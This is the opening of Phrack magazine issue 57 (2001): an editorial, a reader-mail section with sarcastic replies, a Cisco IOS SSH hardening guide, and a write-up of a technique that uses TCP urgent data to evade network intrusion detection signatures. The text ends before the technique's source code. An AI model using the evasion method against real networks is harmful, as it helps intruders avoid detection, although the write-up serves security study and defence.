"There is no gap between phrack56 and phrack57" ...and swang his hand from the left to the right with a slight hope to bluff the audience...

Good News Everyone:

P H R A C K I S B A C K !@#$!@#$!@#$

|=[ Table of Contents ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x01 Introduction Phrack Staff 0x07 kb

0x02 Loopback Phrack Staff 0x09 kb

0x03 Linenoise Phrack Staff 0x1e kb

0x04 Editorial policy Phrack Staff 0x07 kb

0x05 IA64 shellcode papasutra 0x15 kb

0x06 Taranis read your e‑mail jwilkins 0x0a kb

0x07 ICMP based OS fingerprinting Fyodor Yarochkin & Ofir Arkin 0x12 kb

0x08 Vudo malloc tricks maxx 0x76 kb

0x09 Once upon a free() anonymous 0x22 kb

0x0a Against the System: Rise of the Robots Michal Zalewski 0x0a kb 0x0b Holistic approaches to attack detection sasha 0x12 kb 0x0c NIDS on mass parallel processing architecture storm 0x17 kb

0x0d Hang on, snoopy stealth 0x14 kb

0x0e Architecture spanning shellcode eugene 0x17 kb 0x0f Writing ia32 alphanumeric shellcodes rix 0x56 kb 0x10 Cupass and the netuserchangepassword problem D.Holiday 0x14 kb

0x11 Phrack World News Phrack Staff 0x06 kb

0x12 Phrack magazine extraction utility Phrack Staff 0x15 kb

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On this iteration of Phrack magazine there is no single editor. The editorial duties are being carried out by a 'Phrack Staff' collective.

At the moment we are going to remain anonymous and not publish our nicks or our names in the magazine. The reason we are staying anonymous is to ensure that people know that we are working on Phrack for all the right reasons. And also of course because privacy is valuable.

Let's talk about privacy for a moment.

It seems to me that lately there is no motive more attractive than becomming a celebrities. Ironically, celebrities have a power that will grow more compelling and yet less meaningful in the years to come. Why? Because becomming a celebrity will be easier to achieve. The drive to increase connectivity is ultimately about the access of everyone to everyone and everyone to everything. A personal home page on the web self‑created celebrity ‑ is only the most primitive example of what lies ahead, but is an instructive example all the same. Home pages are selfvalidation, and self‑validation lies at the very center of the drive towards the desire to become a celebrity.

Like precious metals, society has always valued what is scarce. As privacy becomes rarer and rarer, it will assume greater and greater worth.

Switching subjects, there is another point that I would like to make. The field of information security is vast. It is vast because it concerns not just technology, but also sociology, criminology, economics (think of risk modeling), and many other associated subjects. Even within the technology side of information security, there are many different areas of study vulnerability assessment, intrusion detection, public key infrastructure, operating system security, and so on. The point I am working towards is that the world does not being and end with shellcode and it certainly does not begin and end with exploits.

You owe it to yourself to investigate what it is about information security that makes it the most interesting and challenging field of study within information technology today.

It's a big world out there. Read books. Experiment. Don't just do. Be.

Enjoy the magazine!

Phrack Magazine Volume 10 Number 57, August 11, 2001. ISSN 1068‑1035 Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editors.

Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors: phrackstaff@phrack.org

Submissions: phrackstaff@phrack.org

Commentary: loopback@phrack.org

Phrack World News: disorder@phrack.org

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.0.5 (GNU/Linux)

Comment: For info see http://www.gnupg.org

mQGiBDr0dzURBAC0nXC8TlrGLzTrXBcOq0NP7V3TKp/HUXghV1uhsJLzgXL1N2ad XF7yKFoP0RyvC3O4SVhSjFtaJZgwczkkRwgpabOddk77fnCENPvl2n0pWmyZuSQa fTEn+P8gmKEeyWXo3EDURgV5OM6m/zVvsQGxkP3/jjGES6eaELXRqqNM9wCgrzkS c0a4bJ03ETjcQa8qp3XIuLsD/04nseebHrqgLHZ/1s1gF6wdRFYGlOYY1tvkcIU4 BRqgJZQu1DIauTEZiLBug+SdRyhJlYPhXWLXr3r7cq3TdxTD1DmM97V8CigA1H5Y g7UB0L5ZygL2ezRxMNxyBxPNDRj3VY3niMg/DafqFs4PXSeL/N4/xU45UBeyk7La QK2dA/4/FKBpUjXGB83s0omQ9sPHYquTiS51wze3SLpJs0jLnaIUmJ1ayBZqr0xT 0LPQp72swGcDb5xvaNzNl2rPRKQZyrsDDX8xZdXSw1SrS6xogt83RWS6gbMQ7/Hr 4AF917ElafjEp4wwd/rekD84RPumRmz4I02FN0xR5VV6K1rbILQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iF0EExECAB0FAjr0dzUFCThkCQAF CwcKAwQDFQMCAxYCAQIXgAAKCRDT4MJPPu7c4etbAJ9P/6NeGwx/nyBBTVpMweCQ 6kFNkQCgnBLX1cmZ7DSg814YjZBFdLczcFS5Ag0EOvR3URAIAOumUGdn+NCs+Ue1 d1RDCNHg6I8GEeH5DElGWC8jSMor2DOgah31VEcoPgVmtEdL8ZD/tl97vxcEhntA ttlELWVJV854kWxRMeCFbBS+fjcQpHCig5WjFzuOrdwBHlNZK2xWCpbV770eSPb/ +z9nosdP8WzmVnJ0JVoIc99JJf3d6YfJuscebB7xn6vJ3hZWM9kqMSyXaG1K3708 gSfhTr1n9Hs7nDfKMMQ73Svbe6J3kZJNdX0cqZJLHfeiiUrtf0ZCVG52AxfLaWfm uPoIpZaJFzexJL/TL9gsRRvVdILd3SmVKtt2koaHNmUgFRVttol3bF8VTiGWb2uX S6WjbwcAAwUH/R9Fsk1Vf04qnzZ21DTsjwlA76cOje0Tme1VIYfwE33f3SkFo89+ jYPFCMNObvSs/JVrstzzZr/c36a4rwi93Mxn7Tg5iT2QEBdDomLb3plpbF3r3OF3 HcuXYuzNUubiA5J2nf3Rf0DdUVwWmOx8gnqF/QUrKRO+fzomT/jVaAYkVovMBE9o csA6t6/vF+SQ5dxPq+6lTJzFY5aK90p1TGHA+2K18yCkcivPEo7b/qu+n9vCOYHM WM+cp49bcUMExRkL934O1KUhHxbL96yBRWRzrJaC7ybGjC9hFAQ/wuXzaHOXEHd4 PqrTZI/rvnRcVJ1CXVt9UfsLXUROaEAtAOOITAQYEQIADAUCOvR3UQUJOGQJAAAK CRDT4MJPPu7c4eksAJ9w/y+n6CHeqeUgKCYZ+EKvNWC30gCfYblC4sGwllhPufgT gPaxlvAXKrM=

=p9fB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Loopback

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x02 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

This month we present a loopback using some of the comments posted to the phrack.org web site. Enjoy!

|=[ 0x00 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hey, i used to read phrack back in like 95 i thought it was dead but i checked and i cant believe there is a phrack 56, i take my hat off to you, hey i was just wondering when 57 might come out ?

[ Phrack57 is out NOW.... ]

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Terry Ferguson" <icebox@shocking.com>

To: <phrackstaff@phrack.org>

X‑Mailer: Microsoft Outlook Express 4.72.3110.1

Subject: [Phrackstaff] i am mekos

i am mekos hi

when hack help plz.

[ UngaUnga BugaBuga.

Ups, we just disclosed the senders name, mailer and email address. ]

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm a french coder and i'm leading a project to

translate phrack articles in French. I'm writing to

you for making this translation project something

like an "official" phrack translation project.

Note : If you want to see translated article you can

reach them at http://rtc.fr.st/proj/phrack.php or

http://rtc.fr.st/proj/phrack/.

Slash

[ there is an italian maxim that says "traduttore, traditore" which means "translators are traitors" and the meaning

is lost after translation.

french people should learn english. ]

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i want to recomendeted to pharck can you help me

[ ??? ]

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

coma@irrelevant 2001‑07‑26

Introduction phrack 56‑1

The old anarchy with turtles/astral projection/home drug lab Phrack articles make me want to rig some kind of testicle‑electrocution apparatus ‑‑ perhaps through the parallel port. I could make a winamp plugin so that I get a painful shock to the balls every time the bass hits.

[ Obviously the twisted brain‑wrong of a one‑off man‑mental. ]

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

tweeterbeeter@beehive.honeycomb.org 2001‑08‑01

Phrack Loopback phrack 56‑2

I eat meat, I tickle your feet, I ask for slashdot news it's neet, but today i saw an fbi bird, it tried to eat my honey word.

Red worm ran, into the can, of win doze boxes, then sent some spam, to see if they could pester the man, who tries to run our nationalized land.

Read the posts, chase the ghosts, who penetrate our servers and hosts, and you will come to learn to be, a non‑elite computer hacker like me. if you need help, send me mail, I will gladly flame your tail, only after youve been inseminated, will my info be disseminated. That is right, I make light, cuz i dont get none night to night, but if a girl will come and get me laid, I'll make more funny for all to read. :)

[ Someone phone MixMaster Mike and tell him his services are no longer required! ]

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey,

My name is Roei but I am known in the web as Cosmo‑OOC. I am a moderate hacker, not a great one yet not a lamer or a trojan user.

I have written numeros guides and articles concerning hacking and computers. Do you accept those from new users ?

[ http://www.phrack.org/howto ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

bargdiggler@hotmail.com 2001‑07‑31

Mobile Telephone Communications phrack 5‑9

how can I get my cellular phone back on without paying for it

or how or where can i get a phone,nokia or nextel with unlimited everything for dirt cheap or free

[ I'm not entirely sure how, but as a substitute try rigging up two cupz with a tight bit of string in‑between them. ]

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: xxxxx007uk@another.com

To: phrackstaff@phrack.org

Could you please send me the address for the Samba team's FTP Server

thankyou,

[ yes, they have a hotline. Just call (888) 282‑0870 (tollfree @#$) or surf on their homepage: http://3483937961/ ]

|=[ 0x09 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

papaskin@papaskin.com 2001‑07‑27

Project Loki: ICMP Tunneling phrack 49‑6

I can't believe how old this article is!! Here it is July of 2001 and I'm tracking this Loki down myself. I'm in Network IDS and very new to it, and being told that this Loki icmp packet I see hitting our primary dns server is "normal network traffic". Only problem is that on the

outgoing side of the dns server, it's throwing port probes and packets like there's not tommorrow. I'm thinking this has been converted to use UDP packets and even port 53 to mask itself as actual usable traffic. I guess it's time for me to pull the packets down and open each one. I pray to find Loki active actually in the raw packet data so I can say "ha ha" to my sys admins.

[ You're *praying* to find Loki on your primary DNS server? And here'z a crazy thought: maybe that "suspicious" DNS traffic is... DNS traffic. ]

|=[ 0x0a ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

prepressnews@hotmail.com 2001‑07‑26

Screwing Over Your Local McDonald's phrack 45‑19

This is funny as hell. Any ideas on how to get some of Charlie X's other old articles?

[ I hear they have the Internet on computers now. You could try using that. ]

|=[ 0x0b ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

aristides_15@lycos.com 2001‑07‑26

The Legion of Doom & The Occult phrack 36‑6

Interesting...

Is this some sort of joke? I'm mostly open minded, but this seems unreal.

‑/|ristides

[ Do you think we'd joke about something like that? Actually, everything you read in Phrack is 100% false, including this sentence. ]

|=[ 0x0c ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

baniasadi@37.com 2001‑07‑23

Hacking Voice Mail Systems phrack 11‑4

rhgfdgf

cjfd

fd

fgvjbf

vmvc

[ How MANY times do I have to tell you? Take OFF the ball‑gag before you email us, you crazy fucking fetishist. ]

|=[ 0x0d ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

antigovernment@louish.com 2001‑07‑11

Phrack World News XXIII Part 2 phrack 23‑12

Man phrack magizines are old. They are fucking out dated, you need to find new dialups for banks and stuff. Stuff putting up your old usless files and make new ones.

[ Unfortunately, I broke the Phrack time‑machine, otherwise I would certainly go forward in time and bring back some articles from the future which wouldn't be "out dated" when we publish them. Dorq. ]

|=[ 0x0e ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

general_failure@operamail.com 2001‑07‑06

Introduction to PBX's phrack 3‑9

Hey, was this really written in 1980's. Wow! I am reading it after 15 years.

General failure

[ Sorry to disappoint you, but just like the dinosaurs, Phrack is actually an elaborate hoax ‑ it's really only been around for about 15 minutes. ]

|=[ 0x0f ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

general_failure@operamail.com 2001‑07‑06

A Brief introduction to CCS7 phrack 51‑15

pretty nice. but i would have preferred a more detailed one..

general failure

[ Must.. resist.. temptation.. to.. ridicule.. your.. nick.. ]

|=[ 0x10 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

n.damus@caramail.com 2001‑06‑26

VisaNet Operations Part II phrack 46‑16

credit card number

video sex

[ Iz that some sort of offer? I regrettably decline. ]

|=[ 0x11 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eyberg@umr.edu 2001‑06‑22

Phrack Loopback phrack 56‑2

greets‑

I want to congratulate you guys on kicking ass in the underground for all these years.

[ Thankz, but we're actually pretty new to thiz. ]

As wise old eze (could have) said "motherfuck 2600,

motherfuck slashdot, motherfuck linux and let the real motha'fuckn' hackers in!" eheh.. [wtf?] Anyway, I wanted you to know that your logic has probably helped out the underground a hell load then just making fun of the people (which you do and is very fucking funny).

[ I think you contradicted yourself there buddy. ]

I only wish your issues

would come out more often and every kid could read them as much as they read their gpl'd slashdot/2600 "i 0wn j00z everything" fuqn' shit articles. God, it'll be the day when the new generation of "hackers" actually hack and not sit around mimicking your tremendous journal (like b0g) or idle on irc all day and smurf anyone they don't recognize.

[ I think that day already arrived years ago. ]

Once again keep up the good work and keep the scene

alive.

[ Cheerz. ]

‑cyn0n

|=[ 0x12 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i love cox 2001‑07‑21

Knight Line I Part 3 phrack 32‑12

fuck you !!!!!!putang ina niyo mga manchuchupa !!!!!!

[ So much anger for someone so young. Oh, and I think you meant to say "cock", not "cox". ]

|=[ 0x13 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

cyhotrex@yahoo.com 2001‑07‑18

Index phrack 6‑1

teach me more!

ill apply it very well!!!

[ Sure thing. I'm programming my 'ultimate war machine' (tm) to come and teach you everything you need to know. ]

|=[ 0x14 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

vdehart@hvc.rr.com 2001‑07‑10

An Overview of Prepaid Calling Cards phrack 47‑13

now would the best way to get pin be to goto the stores and try to sneek a peek at the pins or can you call the company # and try to put in a PIN by guessing numbers

whats the most effective method?

[ For you? Any of the ones you mention will be fine... ]

|=[ 0x15 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tigerbyte@hotmail.com 2001‑07‑06

Introduction to PAM phrack 56‑13

I am a novice. Is it necessary to read through all the Phrack philez or where should I start

email a responce to TigerByte@hotmail.com.

[ Yes, it is absolutely necessary to begin reading Phrack at issue one, article one, and continue up from there. ]

|=[ 0x16 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

general_failure@operamail.com 2001‑07‑06

A Brief introduction to CCS7 phrack 51‑15

pretty nice. but i would have preferred a more detailed one..

general failure

[ Must.. resist.. temptation.. to.. ridicule.. your.. nick.. ]

|=[ 0x17 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

pepelic@hotmail.com 2001‑07‑01

The #hack FAQ (Part 1) phrack 47‑5

Hello,I am Srdjan and have one question...

How do I crack car chip for security?That chip blocked car if are stealen.

BEST REGARDS

[ Crack for security? Don't get everyone started on that debate... ]

|=[ 0x18 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

n.damus@caramail.com 2001‑06‑26

VisaNet Operations Part II phrack 46‑16

credit card number

video sex

[ Iz that some sort of offer? I regrettably decline. ]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Line Noise

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x03 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=[ 0x00 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Phrack Volume 0xa Issue 0x38, the Linenoise section noted "Phrack Linenoise is a hodge‑podge" and that there was a "section in Linenoise specifically for corrections and additions to previous articles".

So, we figured, what the fuck, let's publish an Addendum to the "Building Bastion Routers Using Cisco IOS" article in Phrack Issue 55‑10.

When we first wrote the article, which was over 2 years ago, support for SSH in IOS was very new and only for the 7xxx and 12xxx series routers and only in the latest 12.0 release trains. We made a judgement call not to include it and indicated that it was imminent. Well, everybody sent us e‑mail saying "hey, IOS has SSH now". Thanks, we know.

With the release of 12.1(1)T, support for SSH is now available in most platforms. But, you might need to upgrade flash or DRAM in order to use it. According to the Cisco web site:

"Before configuring the SSH server feature, you must have an IPsec encryption software image...."

This basically means that you will probably need a minimum of 16MB of flash and probably about 32MB of DRAM. And make sure you download the 3DES version so you don't get lulled into that false sense of security single‑key DES offers.

We should also note that IOS (and PIX for that matter) only support SSH protocol version 1, at a time when most of the security community is moving towards protocol version 2, now that free (e.g., OpenSSH) implementations are available with protocol 2 support. The word we've heard from Cisco is they have no plans for SSH protocol 2 support, and recommend that you use IPsec instead.

One specific reason that Cisco should move towards protocol 2 support is that there are known weaknesses in protocol 1. In fact, these weaknesses have been known for more than a year and Cisco finally acknowledged that their implementation was also vulnerable. They released a security bulletin in June and the summary says it all:

"Three different Cisco product lines are susceptible to multiple vulnerabilities in the Secure Shell (SSH) protocol. These issues are inherent to the SSH protocol version 1.5, which is implemented in several Cisco product lines."

So now let's get down to business and show you how to configure it. The Cisco SSH implementation requires that the system have a hostname and domain name, so we'll start with that:

1. Configure a hostname:

filter(config)#hostname filter

2. Configure a domain name:

filter(config)#ip domain‑name home.net

3. Generate a host‑specific RSA key. Use at least a 1024 bit key:

filter(config)#crypto key generate rsa

The name for the keys will be: filter.home.net

Choose the size of the key modulus in the range of 360 to 2048 for your General Purpose Keys. Choosing a key modulus greater than 512 may take a few minutes.

How many bits in the modulus [512]: 1024

Generating RSA keys ...

[OK]

Now, do the smart thing and make sure TELNET access is disabled and then save the configuration:

filter(config)#line vty 0 15 filter(config‑line)#transport input none filter(config‑line)#transport input ssh filter(config‑line)#exit

filter(config)#exit

filter#write

Building configuration...

[OK]

Also remember that you should put an access class on the VTY to have fine‑grained control over which hosts can connect to the SSH server.

4. You can now view the keys:

filter#sh crypto key mypubkey rsa

% Key pair was generated at: 14:41:28 PDT Jun 19 2000 Key name: filter.home.net

Usage: General Purpose Key

Key Data:

30819F30 0D06092A 864886F7 0D010101 05000381 8D003081 89028181 00B3F24F F51367B1 70460C52 B06E5110 F41A5458 EEE6A0DD 840EB3D3 44A958E9 E3BDF6BE 72AE2994 9751FFCB 127A5D20 318D945B FBC25FC5 D9E3BFED 8B9BBCA9 EC3A61B8 2BD6EC35 EA83CC56 27D08248 935A3F2A 9B941580 E69CC8B9 0C2CFA98 AD6F04CC 19BB8522 8E5907EA 6B047EF1 E5DBBE1C E2187761 2E106479 A4297932 19020301 0001

% Key pair was generated at: 14:41:39 PDT Jun 19 2000 Key name: filter.home.net.server

Usage: Encryption Key

Key Data:

307C300D 06092A86 4886F70D 01010105 00036B00 30680261 00CF13EE C84A2FE3 5720A5AB 5DA7B84D 2232E8E7 2589EF53 170BA42D 2830B2E0 44C2E60F 43BC06F2 9D52BC92 774B8442 99CD0F8F 7073F5C8 97C9A91B 14284981 D23808C0 EF71522E CBBC87AB C1CCE95A 9813B13D D52BC0D0 DC4567A3 BA4C9F24 A1020301 0001

The "General Purpose Key" is the host key and the "Encryption Key" is likely the ephemeral server key, which appears to be 768 bits.

5. Configure the timeout and authentication retries if desired; the default timeout is 120 seconds and the default number of authentication retries is 3:

filter(config)#ip ssh time‑out 60

filter(config)#ip ssh authentication‑retries 2

6. Configure Authentication:

There are many different authentication schemes you can use including RADIUS and TACACS. We'll cover just two of the simpler schemes here:

Option 1: Use the enable password:

filter(config)#aaa new‑model

filter(config)#aaa authentication login default enable

Option 2: Local passwords:

filter(config)#aaa authentication login default local filter(config)#username beldridg password 0 junos filter(config)#service password‑encryption

7. Test it out:

[beldridg@anchor tmp]$ ssh 192.168.3.9 beldridg@192.168.3.9's password:

Warning: Remote host denied X11 forwarding.

Warning: Remote host denied authentication agent forwarding.

filter>sh ssh

Connection Version Encryption State Username 0 1.5 3DES Session started beldridg

The warning messages are normal if your SSH client is configured to request X11 and authentication agent forwarding. The reason for the X11 forwarding message is that the system doesn't have any X clients, and thus no need for X11 forwarding. It also doesn't support agent forwarding since the Cisco implementation doesn't support RSA authentication.

Unfortunately, there is no mechanism to configure the SSH server to only accept the 3DES cipher. An enhancement request was filed with Cisco over 1 year ago and we have not heard back on the status of our request. This means that crippled SSH clients, or clients that request DES, can still connect to the server:

[variablek@anchor variablek]$ ssh ‑c des 192.168.3.9 Warning: use of DES is strongly discouraged due to cryptographic weaknesses variablek@192.168.3.9's password:

Warning: Remote host denied X11 forwarding.

Warning: Remote host denied authentication agent forwarding.

filter>sh ssh

Connection Version Encryption State Username 0 1.5 DES Session started variablek

8. SSH Client

With the release of 12.1(3)T, IOS also has an SSH client (supports DES and 3DES) so you can initiate outbound connections with something like the following:

filter#ssh ‑l beldridg 10.0.0.1

Newer IOS releases also provide the capability to copy configurations to and from SSH servers via scp although we haven't played with that yet.

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: NIDS Evasion Method named "SeolMa"

Recently, a new unique TCP property has known by some simple tests. This property was found when we put Urgent TCP data in the middle of normal TCP data stream, and it could be used as a way to avoid the pattern matching of most IDS, especially NIDS..

Firstly, it is worth focusing on the discordance of the interpretation process between the way of the common Operating Systems and the definition of RFC 1122. (We wouldn't cover the all of the TCP Urgent mode in this paper).

The TCP/IP implementation, derived from the traditional BSD System,Urgent pointer in TCP header point to the data right after the last Urgent data. But RFC says the Urgent Pointer should point to the last Urgent data.

Above two different Urgent Pointer interpretation process make two different result against below test.

The testing was executed about Apache and IIS, as an application, on Solaris ( 7,8 ) , Linux 2.2.14, and Windows 2000. Undoubtedly, from my point of view, these two application hasn't any special definition for the communication of Urgent data.

(i.e., these would be handled in the same way of general TCP data.)

At first test, string packet "ABC" was sent in plain way, and then string packet "DEF" was forwarded in Urgent mode.

Finally string packet "GHI" was delivered. Urgent Pointer value in "DEF" tcp packet was "3" .

After sending these string, the final string composition on the host was not the expected "ABCDEFGHI",

but the strange "ABCDEGHI", which was on the log of each application, to our surprise.

The character "F" vanished.

During this first test above, the environment of Linux follows BSD format for Urgent data processing.

Therefore, the setting was changed as the way on RFC 1122 for the next test.

These setting could be referred at TCP MAN page.

ex) echo "1" > /proc/sys/net/ipv4/tcp_stdurg

At second test, Linux's Urgent Pointer interpretation process follows RFC 1122.

The same procedure was applied to the packet transmission at second test. Urgent Pointer value in "DEF" tcp packet was "3" also.

At this time, the result was not "ABCDEFGHI", but "ABCDEFHI", to our another surprise.

The Character "G" was missed at this test.

>From the verification of the packet transmission using TCPDUMP and the results above, we reach to the conclusion as the following.:

"1 Byte data, next to Urgent data, will be lost, when Urgent data and normal data are combined."

Analyzing the first test, the value of Urgent Pointer was "3", when "DEF" was sent in Urgent mode.

However, the actual Urgent Data count become "3 ‑ 1 = 2", due to following the BSD format, and only "DE" is regarded as Urgent data

and 1 Byte data "F", after "DE", is lost.

Similarly, the second test result could be explained.

The Urgent Pointer value of "DEF" tcp packet was 3.

In this case, the whole "DEF" become Urgent Data and following "GHI" is normal data.

The character "G" is discarded, as 1 Byte data following Urgent Data, in the same way.

It is significant that BSD processing is applied to all the default processings of the Operating Systems in these tests.

Now, by using this feature, NIDS could be easily deceived because it has no consideration for this.

Assume one would like to request "GET /test‑cgi" URL.

Then divide "test‑cgi", which could be the signature of NIDS, into at least 3 parts.

Let's split into "tes", "t‑c" and "gi".

If "t‑c" is sent as Urgent data, it is clear that the last 1 Byte "c" will be

lost and the last combination will be "test‑gi".

Thus one would add any 1 Byte at "t‑c" for cheating.

Forward like "tes", "t‑cX" and "gi" with same manner.

Then the final host's Apache or IIS will recognize as "test‑cgi", but the result of the composition in NIDS will be "test‑cXgi" without consideration of this. It is no wonder that one could avoid NIDS pattern matching through this.

This is not managed even on Snort, Open‑Source.

Commercial NIDS is also blind for this.

For the worse, the OS like Linux 2.2.14 version shows different result by the speed of transmission, when Urgent data is sent more than three times. This would deteriorate the protecting way of NIDS.

That is, just the prediction of 1 Byte loss wouldn't be solution.

For Example, sending "ab" in normal, "cd" in Urgent mode, "ef" in normal, "gh" also in Urgent mode, "ij" in normal, and final "kl" in Urgent mode, would result in "abcefgijk" by the previous theory on this paper. However, actual outcome is "abcdefghijk" and the final Urgent data would follow the previous property.

For the all Urgent data's compliance of previous property, each transmission of data needs sleep in betweens.

For more details, following "seolma.c" source could be referred.

The following source will show the simple concept of that.

